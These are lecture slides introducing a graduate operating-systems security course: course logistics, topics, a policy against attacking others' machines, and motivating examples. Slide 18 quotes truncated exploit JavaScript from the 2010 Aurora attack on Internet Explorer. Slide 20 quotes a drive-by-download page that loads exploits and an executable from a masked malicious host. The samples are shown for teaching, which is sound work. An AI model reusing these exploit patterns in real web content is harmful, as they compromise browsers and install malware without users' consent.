ISA 673 Operating Systems' Security - George Mason University

24
ISA 673 Operating Systems’ Security Angelos Stavrou, George Mason University Introduction & Class Mechanics

Transcript of ISA 673 Operating Systems' Security - George Mason University

Page 1: ISA 673 Operating Systems' Security - George Mason University

ISA 673 Operating Systems’ Security

Angelos Stavrou, George Mason University!

Introduction & Class Mechanics!

Page 2: ISA 673 Operating Systems' Security - George Mason University

Course Mechanics

  Course URL:!  http://cs.gmu.edu/~astavrou/isa673_S10.html!

  Instructor ! !Angelos Stavrou!  Email: ! ! [email protected]!  Office: ! ! !Research I, rm 437!  Office Phone: ! !(703) 993-3772!  Office Hours: ! !Wednesday 5:00 – 7:00pm"

! ! ! !and by appointment!

Page 3: ISA 673 Operating Systems' Security - George Mason University

Course Mechanics

  Course URL:!  http://cs.gmu.edu/~astavrou/isa673_S10.html!

  TA! ! ! Sharath Hiremagalore!  Email: ! ! [email protected]!  Office: ! ! !Research I, rm 439!  Office Hours: ! !Thursday, 4:00 – 6:00pm!

Page 4: ISA 673 Operating Systems' Security - George Mason University

Course Bibliography

Required: "Professional Linux Kernel Architecture, Wolfgang Mauerer, John Wiley and Sons, New York, NY, 2008."Available by: [Willey] [Amazon]!

Recommended: "- Understanding the Linux Kernel, Third Edition Daniel P. Bovet Marco Cesati ISBN-10: 0596005652 ISBN-13: 978-0596005658 O'Reilly Media Available by: [Online for GMU] [O' Reilly] [Amazon]"

- Modern Operating Systems, 3/E Andrew S. Tanenbaum. ISBN-10: 0136006639 ISBN-13: 9780136006633 Prentice Hall "Available by: [GMU Bookstore] [Prentice Hall] [Amazon] "

Page 5: ISA 673 Operating Systems' Security - George Mason University

Grading

  Class Projects: (2 team or individual) 80%!  Class Presentations: 15%!  Class Participation: 5%!  No Midterm or Final!

This class is an upper-level class and is geared towards understanding the fundamental concepts behind Security for Computer systems. !

The students will be expected to participate in large projects under the guidance of the instructor. "

Page 6: ISA 673 Operating Systems' Security - George Mason University

Course Overview

  Provide hands-on experience with fundamentals and advanced topics in operating system (OS) security!

  OS security techniques: !  logging, !  system call auditing, !  address space randomization, ! memory protection, ! virtual machine introspection (VMI)!

  Recent advanced techniques such as host-based intrusion detection system randomization, vulnerability fingerprinting, and virtualization.!

Page 7: ISA 673 Operating Systems' Security - George Mason University

Prerequisites

  Courses!  CS571 and ISA 562; or permission of instructor. The

coursework will include substantial programming projects; in order to be able to complete the projects, the students must be comfortable with C/C++.!

  Skills! Familiar or comfortable with Linux! System Programming! Willingness to spend time in the lab learning about

exploits, defenses, and tools.! Being able to install programs and work in Unix!

Page 8: ISA 673 Operating Systems' Security - George Mason University

Course Topics (tentative)

  Introduction Operating Systems (OS)!  Types of Threats!  Basic OS Security Mechanisms!

  Understanding the Threats Malware Taxonomy!  Viruses!  Worms!  Rootkits!  Defense -- An Overview!

  Logging, Auditing, and Recovery !  Log Generation!  Log Auditing!  Log-based Recovery!

Page 9: ISA 673 Operating Systems' Security - George Mason University

Course Topics (tentative)

  OS-level Memory Protection !  Review of OS Memory Management!  NX Bit!  Randomization!

  Virtualization Technology and Applications!  Virtualization Taxonomy!  Security Applications!  Virtual Machine Introspection!

  Vulnerability Analysis Vulnerability Classification!  Defense against Known Vulnerabilities!  Defense against Unknown (0-day) Vulnerabilities!

Page 10: ISA 673 Operating Systems' Security - George Mason University

Course Topics (tentative)

  OS-level Memory Protection !  Review of OS Memory Management!  NX Bit!  Randomization!

  Virtualization Technology and Applications!  Virtualization Taxonomy!  Security Applications!  Virtual Machine Introspection!

  Vulnerability Analysis Vulnerability Classification!  Defense against Known Vulnerabilities!  Defense against Unknown (0-day) Vulnerabilities!

Page 11: ISA 673 Operating Systems' Security - George Mason University

Course Topics (tentative)

  Malware Capture and Analysis !  Honeypot Taxonomy!  Recent Honeypot Advances!  Deployment and Liabilities!

  Malware!  Polymorphic Malware!  Malware Packers and Javascript Encoders!  Analyzing Malware with PIN & IDA Pro!

  Rootkits Rootkit Basics!  Advanced Rootkit Techniques!  Rootkit Defenses!

Page 12: ISA 673 Operating Systems' Security - George Mason University

Course Schedule (Tentative)

  Please check it at least twice in a week!!

http://cs.gmu.edu/~astavrou/isa673_S10.html#Schedule

Page 13: ISA 673 Operating Systems' Security - George Mason University

Course Policies

  Academic integrity!  If you do not cite it and you use it, you are in violation!!  Please read!!

  Unless otherwise noted, work turned in should reflect your independent capabilities!  If unsure, note / cite sources and help!

  Usually, no late submissions will be accepted!  No penalty for documented emergency (e.g., medical) or by

prior arrangement in special circumstances!

Page 14: ISA 673 Operating Systems' Security - George Mason University

Warning

  Policy on security experiments:! you may not break into machines that are not

your own; ! you may not attempt to attack or subvert system

security on machines not owned by you. !

Page 15: ISA 673 Operating Systems' Security - George Mason University

ISA 673 Operating Systems’ Security

Introduction!

Page 16: ISA 673 Operating Systems' Security - George Mason University

Motivation

  Internet malware remains a top threat!  Malware: virus, worms, rootkits, spyware, bots…!

Page 17: ISA 673 Operating Systems' Security - George Mason University

Types of Attacks

  Viruses, worms, and trojan horses!

  Attacks enabled by access to passwords!

  Buffer Overflow!  Denial of service!  Spoofing!  E-mail attack!  Wireless attacks!  Malware and Malfese!  Malware Embedded

Objects!

Page 18: ISA 673 Operating Systems' Security - George Mason University

Google Aurora Attack 2010

<html><script>var sc = unescape("%u9090%u19eb%u4b5b%u3390%u90c9 […]”); var sss = Array(826, 679, … 875); var arr = new Array; for (var i = 0; i < sss.length; i ++ ){ arr[i] = String.fromCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/ g, "" ); cc = cc.replace(/@/g, ","); eval(cc); var x1 = new Array(); for (i = 0; i < 200; i ++ ){ x1[i] = document.createElement("COMMENT"); x1[i].data = "abc"; } ; var e1 = null; function ev1(evt){ e1 = document.createEventObject(evt); document.getElementById("sp1").innerHTML = ""; window.setInterval(ev2, 50); } function ev2(){ p = “ \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"; for (i = 0; i < x1.length; i ++ ){ x1[i].data = p; } ; var t = e1.srcElement; } </script><span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span></body></html>

Page 19: ISA 673 Operating Systems' Security - George Mason University

Similar Code Injection Examples

Page 20: ISA 673 Operating Systems' Security - George Mason University

 One Click on a malicious URL   http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html

 Result:

MS04-013

MS03-011

MS05-002

<html><head><title></title></head><body>

<style> * {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")} </style>

<APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1> <PARAM NAME='url' VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET> <script>

try{ document.write('<object data=`&#109&#115&#45&#105&#116&#115&#58 &#109&#104&#116&#109&#108&#58&#102&#105&#108&#101&#58; //C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+ 'm::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>'); }catch(e){} </script> </body></html>

An Attack Incident Against IE Browser

Page 21: ISA 673 Operating Systems' Security - George Mason University

22 “unwanted” programs are installed without the user’s consent

An Attack Incident Against IE Browser

Page 22: ISA 673 Operating Systems' Security - George Mason University

22

URL-level Topology Graph for WinXP SP1 Un-patched: 688 URLs from 270 sites

Topology Graph of Malicious URLs

Site nodes

URLs

Content Provider Exploit Provider

Redirecting URL

Exploiting URL

Page 23: ISA 673 Operating Systems' Security - George Mason University

Motivation

Page 24: ISA 673 Operating Systems' Security - George Mason University

Course Focus

  Understanding essential techniques behind these attacks offensively and defensively !

  Write your own working code!!